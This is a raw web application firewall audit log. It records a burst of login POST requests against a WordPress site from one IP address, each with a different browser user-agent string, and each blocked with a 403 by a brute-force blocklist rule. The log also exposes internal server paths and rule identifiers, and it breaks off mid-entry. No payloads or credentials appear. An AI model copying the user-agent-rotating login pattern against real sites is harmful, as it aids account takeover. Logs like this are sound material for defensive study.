Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984019434 1619 (- - -)
Stopwatch2: 1789313984019434 1619; combined=522, p1=219, p2=81, p3=0, p4=0, p5=222, sr=73, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa60bd76-Z--
--5bc86930-A--
[13/Sep/2026:18:39:44.413720 +0300] aqbDwPut1GUrjaX0wO45GAAAANg 134.185.87.66 35756 127.0.0.1 7081
--5bc86930-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5bc86930-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5bc86930-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984412088 1686 (- - -)
Stopwatch2: 1789313984412088 1686; combined=591, p1=256, p2=64, p3=0, p4=0, p5=271, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5bc86930-Z--
--c1806f3e-A--
[13/Sep/2026:18:39:44.797393 +0300] aqbDwPut1GUrjaX0wO45GgAAAMs 134.185.87.66 35768 127.0.0.1 7081
--c1806f3e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c1806f3e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c1806f3e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984795530 1936 (- - -)
Stopwatch2: 1789313984795530 1936; combined=642, p1=268, p2=88, p3=0, p4=0, p5=286, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1806f3e-Z--
--1a081e18-A--
[13/Sep/2026:18:39:45.187995 +0300] aqbDwRsbgHO3aGL3jiTwwAAAABI 134.185.87.66 35782 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985185902 2168 (- - -)
Stopwatch2: 1789313985185902 2168; combined=618, p1=273, p2=84, p3=0, p4=0, p5=261, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1a081e18-Z--
--88f91a65-A--
[13/Sep/2026:18:39:45.585089 +0300] aqbDwfut1GUrjaX0wO45HQAAAMg 134.185.87.66 54022 127.0.0.1 7081
--88f91a65-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--88f91a65-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--88f91a65-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985583323 1831 (- - -)
Stopwatch2: 1789313985583323 1831; combined=665, p1=286, p2=106, p3=0, p4=0, p5=273, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--88f91a65-Z--
--6b2ef008-A--
[13/Sep/2026:18:39:45.962996 +0300] aqbDwfut1GUrjaX0wO45HwAAAM0 134.185.87.66 54030 127.0.0.1 7081
--6b2ef008-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6b2ef008-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6b2ef008-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985961381 1692 (- - -)
Stopwatch2: 1789313985961381 1692; combined=564, p1=269, p2=71, p3=0, p4=0, p5=224, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b2ef008-Z--
--7787ee37-A--
[13/Sep/2026:18:39:46.347186 +0300] aqbDwvut1GUrjaX0wO45IAAAAMQ 134.185.87.66 54040 127.0.0.1 7081
--7787ee37-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7787ee37-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7787ee37-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313986345562 1693 (- - -)
Stopwatch2: 1789313986345562 1693; combined=554, p1=250, p2=67, p3=0, p4=0, p5=237, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7787ee37-Z--
--aafd7372-A--
[13/Sep/2026:18:39:46.737878 +0300] aqbDwhsbgHO3aGL3jiTwwQAAABc 134.185.87.66 54072 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313986736082 1865 (- - -)
Stopwatch2: 1789313986736082 1865; combined=646, p1=294, p2=85, p3=0, p4=0, p5=267, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aafd7372-Z--
--d6001351-A--
[13/Sep/2026:18:39:47.144880 +0300] aqbDw-ut1GUrjaX0wO45JAAAANA 134.185.87.66 54118 127.0.0.1 7081
--d6001351-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d6001351-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d6001351-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987138747 6228 (- - -)
Stopwatch2: 1789313987138747 6228; combined=1052, p1=505, p2=165, p3=0, p4=0, p5=382, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d6001351-Z--
--763ec97a-A--
[13/Sep/2026:18:39:47.530599 +0300] aqbDw-ut1GUrjaX0wO45JQAAANc 134.185.87.66 54144 127.0.0.1 7081
--763ec97a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--763ec97a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--763ec97a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987527212 3482 (- - -)
Stopwatch2: 1789313987527212 3482; combined=864, p1=427, p2=138, p3=0, p4=0, p5=298, sr=152, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--763ec97a-Z--
--ef72bb74-A--
[13/Sep/2026:18:39:47.913932 +0300] aqbDw0hjHs68UzErry1K3gAAAIU 134.185.87.66 54164 127.0.0.1 7081
--ef72bb74-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ef72bb74-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ef72bb74-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987911598 2391 (- - -)
Stopwatch2: 1789313987911598 2391; combined=701, p1=302, p2=94, p3=0, p4=0, p5=305, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef72bb74-Z--
--cb2eb435-A--
[13/Sep/2026:18:39:48.303407 +0300] aqbDxPut1GUrjaX0wO45KAAAAMk 134.185.87.66 54196 127.0.0.1 7081
--cb2eb435-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--cb2eb435-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cb2eb435-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313988300890 2592 (- - -)
Stopwatch2: 1789313988300890 2592; combined=833, p1=341, p2=97, p3=0, p4=0, p5=395, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cb2eb435-Z--
--614f3055-A--
[13/Sep/2026:18:39:48.698999 +0300] aqbDxPut1GUrjaX0wO45KgAAANY 134.185.87.66 54208 127.0.0.1 7081
--614f3055-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--614f3055-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--614f3055-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313988689321 9739 (- - -)
Stopwatch2: 1789313988689321 9739; combined=16464, p1=239, p2=81, p3=0, p4=0, p5=8199, sr=93, sw=0, l=0, gc=7945
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--614f3055-Z--
--571dfc63-A--
[13/Sep/2026:18:39:49.076721 +0300] aqbDxfut1GUrjaX0wO45LAAAAMY 134.185.87.66 54218 127.0.0.1 7081
--571dfc63-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--571dfc63-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--571dfc63-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989074740 2061 (- - -)
Stopwatch2: 1789313989074740 2061; combined=661, p1=256, p2=134, p3=0, p4=0, p5=270, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--571dfc63-Z--
--8b2c487f-A--
[13/Sep/2026:18:39:49.456941 +0300] aqbDxfut1GUrjaX0wO45LgAAAM4 134.185.87.66 54238 127.0.0.1 7081
--8b2c487f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--8b2c487f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8b2c487f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989455156 1840 (- - -)
Stopwatch2: 1789313989455156 1840; combined=662, p1=283, p2=72, p3=0, p4=0, p5=306, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b2c487f-Z--
--bd899b70-A--
[13/Sep/2026:18:39:49.835371 +0300] aqbDxfut1GUrjaX0wO45MAAAAMA 134.185.87.66 54260 127.0.0.1 7081
--bd899b70-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--bd899b70-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--bd899b70-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989833338 2089 (- - -)
Stopwatch2: 1789313989833338 2089; combined=664, p1=284, p2=95, p3=0, p4=0, p5=285, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd899b70-Z--
--c6932441-A--
[13/Sep/2026:18:39:50.232744 +0300] aqbDxldqBhgxDSpG7haLHQAAAEU 134.185.87.66 54272 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
